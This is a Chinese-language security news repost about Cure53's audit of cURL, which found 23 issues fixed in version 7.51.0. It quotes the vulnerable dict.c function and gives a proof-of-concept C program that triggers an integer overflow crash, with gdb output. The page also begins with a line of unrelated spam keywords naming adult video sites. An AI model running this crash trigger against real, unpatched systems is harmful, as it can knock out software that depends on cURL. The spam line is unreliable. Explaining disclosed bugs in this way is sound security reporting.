99久久国产综合精品国_亚洲av日韩aⅴ电影_午夜福利在线电影_亚洲aⅤ色欲久久一区二区三区_91九色蝌蚪国产精品_亚洲av无码乱码在线观看四虎_4国产精品无码制服丝袜_亚洲Av成人五月天在线观看_牛牛成人永久免费视频_午夜福利在线资源


注意了,cURL的漏洞也不少

本文原創(chuàng)作者:

來源:FreeBuf.COM

14804847338479

安全專家對(duì)cURL進(jìn)行了審計(jì),發(fā)現(xiàn)了數(shù)十個(gè)安全問題,這些漏洞在最新的版本中已經(jīng)被修復(fù)。

cURL想必大家都不陌生,它是一款開源的命令行工具和庫(kù),支持多種協(xié)議傳輸數(shù)據(jù)。cURL如今的應(yīng)用還是比較廣泛的,包括網(wǎng)絡(luò)設(shè)備、打印機(jī)、智能手機(jī),甚至是一些物聯(lián)網(wǎng)設(shè)備比如汽車。

主動(dòng)審計(jì)

前不久,cURL開發(fā)者、Mozilla員工Daniel Stenberg請(qǐng)Mozilla Secure Open Source(SOS)項(xiàng)目對(duì)cURL進(jìn)行安全審計(jì)。

?“我請(qǐng)Mozilla Secure Open Source項(xiàng)目進(jìn)行了一次安全審計(jì)。這個(gè)項(xiàng)目是由Mozilla尋找第三方公司一起參與,并且最終買單完成的。參與審計(jì)的公司名為Cure53?!?Stenberg在博客中寫道?!拔抑陨暾?qǐng)審計(jì)是因?yàn)樽罱腋杏X存在一些安全相關(guān)的問題,我覺得我們?cè)诎踩矫婵赡苡兴啡?,所以想讓專家們檢查一下。”

Cure53的5名專家對(duì)cURL進(jìn)行了為期20天的審計(jì),發(fā)現(xiàn)了總共23個(gè)安全問題。

審計(jì)結(jié)果

這些安全問題中,有9個(gè)是安全漏洞。專家融合了其中2個(gè)安全漏洞——其中一個(gè)被歸類為“plain bug”,因?yàn)橐趯?shí)際攻擊場(chǎng)景進(jìn)行利用會(huì)很困難。另外,審計(jì)發(fā)現(xiàn)了4個(gè)高危漏洞和4個(gè)中危漏洞。

高危漏洞的漏洞編號(hào)為CVE-2016-8617, CVE-2016-8619, CVE-2016-8622和CVE-2016-8623。這些都是遠(yuǎn)程執(zhí)行漏洞。

比如說下面這個(gè)漏洞:

CRL-01-014 unescape_word()整型溢出造成負(fù)數(shù)數(shù)組索引(高危)

dict.c中的unescape_word()函數(shù)中存在以下代碼:

static char *unescape_word(struct Curl_easy *data, const char *inputbuff)
       {
         char *newp;
         char *dictp;
         char *ptr;
         int len;
         char ch;
         int olen=0;
         newp = curl_easy_unescape(data, inputbuff, 0, &len);
         if(!newp)
return NULL;
         dictp = malloc(((size_t)len)*2 + 1); /* add one for terminating zero */
         if(dictp) {
           /* According to RFC2229 section 2.2, these letters need to be escaped with
              \[letter] */
           for(ptr = newp;
               (ch = *ptr) != 0;
               ptr++) {
             if((ch <= 32) || (ch == 127) ||
                 (ch == '\'') || (ch == '\"') || (ch == '\\')) {
               dictp[olen++] = '\\';
             }
             dictp[olen++] = ch;
           }
           dictp[olen]=0;
         }
free(newp);
         return dictp;
       }

很明顯,len要比pow(2,31)小,但是輸出可以拓展至兩倍大小,也就是說當(dāng)olen的值是INT_MAX時(shí),可以被增加。這就會(huì)導(dǎo)致有符號(hào)整型溢出。

由于olen一直被用作數(shù)組索引,負(fù)的數(shù)組索引就會(huì)指向未分配的內(nèi)存。

要驗(yàn)證漏洞,可以在6GB以上空閑內(nèi)存的64位電腦上運(yùn)行下面的代碼。這個(gè)測(cè)試會(huì)獲取一個(gè)超過1GB長(zhǎng)的dict:// URL。

#include <curl/curl.h>
#include <stdint.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
  char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1);
  if (!dicturl)
    errx(1, "malloc");
  strcpy(dicturl, "dict://localhost/MATCH:");
  memset(dicturl + 23, '\"', (1ULL<<30) + 5);
  dicturl[23 + (1ULL<<30) + 5] = '\0';
  CURL *hnd = curl_easy_init();
  curl_easy_setopt(hnd, CURLOPT_URL, dicturl);
  free(dicturl);
  curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
  CURLcode ret = curl_easy_perform(hnd);
  curl_easy_cleanup(hnd);
  return (int)ret;
}

運(yùn)行會(huì)導(dǎo)致如下的崩潰信息:

$ gdb ./negative_dict_url
[...]
(gdb) run
Starting program: [...]
[...]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017 '\"' <repeats 200 times>...) at dict.c:116
116 dictp[olen++] = '\\';
(gdb) x/1i $pc
=> 0x7ffff7b6975b <unescape_word+170>: mov
(gdb) print/x $rax
$1 = 0x7ffdf0dba010
(gdb) print/x dictp
$2 = 0x7ffe70dba010
(gdb) print olen
$3 = -2147483647

但實(shí)際上,審計(jì)報(bào)告提到,cURL庫(kù)的整體安全性和魯棒性都很好。

也請(qǐng)大家不要擔(dān)心,新版本的cURL已經(jīng)上線了,7.51.0版本修復(fù)了總共11個(gè)漏洞,其中7個(gè)是由Cure53的審計(jì)團(tuán)隊(duì)發(fā)現(xiàn)的,其他的漏洞是由Lu?t Nguy?n、Christian Heimes和Fernando Mu?oz提交的。

Stenberg指出,cURL是一個(gè)非常常用的軟件,因此,審計(jì)對(duì)用戶來說具有重大意義。

?“由于curl是世界上最常用的軟件,因此curl如果出現(xiàn)了問題可能對(duì)各種工具、設(shè)備、應(yīng)用造成重大影響。我們不希望發(fā)生那樣的事?!?/p>

原文地址:http://www.freebuf.com/vuls/121581.html

上一篇
下一篇

聯(lián)系我們:cert@chaosec.com